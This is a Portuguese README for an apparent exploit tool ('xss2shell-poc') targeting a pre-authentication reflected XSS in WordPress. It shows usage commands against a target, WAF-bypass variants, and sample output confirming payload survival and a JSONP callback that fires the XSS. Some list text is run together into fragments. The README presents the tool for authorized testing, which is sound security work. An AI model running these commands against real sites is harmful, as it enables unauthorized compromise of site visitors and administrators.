
Valida XSS refletido pré-autenticação no WordPress, identifica versões vulneráveis, verifica a reflexão de payload e JSONP e gera artefatos de PoC em HTML/curl.
Uma ferramenta de prova de conceito (PoC) para validar a CVE-2026-64638, uma vulnerabilidade de Cross-Site Scripting (XSS) refletido pré-autenticação que afeta instalações do WordPress (versões 6.4 – 7.0.2).
Esta ferramenta automatiza o processo de fingerprinting, validação e geração de uma PoC para a CVE-2026-64638. Ela confirma com segurança se uma instalação do WordPress alvo é vulnerável ao XSS refletido pré-autenticação sem implantar payloads maliciosos. Se o alvo for confirmado como vulnerável, ela pode gerar uma PoC em HTML para testes de segurança autorizados e inclusão em relatórios de bug bounty.
standard, envelope, waf) para testar diferentes cenários de filtragem.readme.html ou parâmetros de scripts enfileirados.wp-login.php está acessível e funcional.wp-login.php e verifica se os elementos DOM necessários (por exemplo, ajaxurl, color-picker) sobrevivem à sanitização na resposta.requests>=2.31.0, urllib3Clone o repositório e instale as dependências necessárias:
git clone https://github.com/eh-amish/xss2shell-poc.git
cd xss2shell-poc
pip install -r requirements.txt
Esta ferramenta não requer variáveis de ambiente nem arquivos de configuração complexos. Todos os parâmetros são passados diretamente por meio de argumentos de linha de comando.
Execute a ferramenta com Python 3 contra um alvo autorizado.
python3 xss2shell_poc.py -t https://target.com --check-only
python3 xss2shell_poc.py -t https://target.com
Se o payload padrão for bloqueado por um WAF ou o endpoint REST retornar HTTP 401, tente variantes alternativas:
python3 xss2shell_poc.py -t https://target.com --variant waf
python3 xss2shell_poc.py -t https://target.com --variant envelope
python3 xss2shell_poc.py -t https://target.com -o custom_poc.html
.
├── .gitignore
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── SECURITY.md
├── requirements.txt
└── xss2shell_poc.py
Target : https://target.com
Variant : standard
Mode : Full PoC
[>] Phase 1 — WordPress Version Fingerprint
[+] WordPress 7.0.2 — VULNERABLE (6.4 – 7.0.2)
[>] Phase 2 — Confirm Login Page
[+] wp-login.php reachable (HTTP 200)
[>] Phase 3 — Testing XSS Payload (variant: standard)
[+] XSS PAYLOAD SURVIVED SANITIZATION!
[+] Injected DOM elements found in response: ['id="ajaxurl"', 'id="color-picker"']
[>] Phase 4 — REST API JSONP Callback Check
[+] REST JSONP callback works: https://target.com/?rest_route=/&_method=GET&_jsonp=testcb
[+] jQuery will evaluate response as script → XSS fires automatically
Este repositório contém ferramentas de teste relacionadas à segurança. Consulte SECURITY.md para nossa política de divulgação responsável e requisitos de uso autorizado.
Acolhemos contribuições profissionais! Consulte CONTRIBUTING.md para detalhes sobre nosso fluxo de trabalho, padrões de qualidade de código e diretrizes de submissão.
Este projeto está licenciado sob a MIT License.
Destinado apenas para uso autorizado. Este projeto é fornecido estritamente para testes de penetração autorizados, pesquisa de segurança e programas de bug bounty nos quais permissão explícita e por escrito foi concedida pelo proprietário do sistema. Não use esta ferramenta contra sistemas que você não possui ou para os quais não tem permissão de teste. Os autores e contribuidores não são responsáveis por qualquer uso indevido, dano ou consequência legal resultante do uso deste software.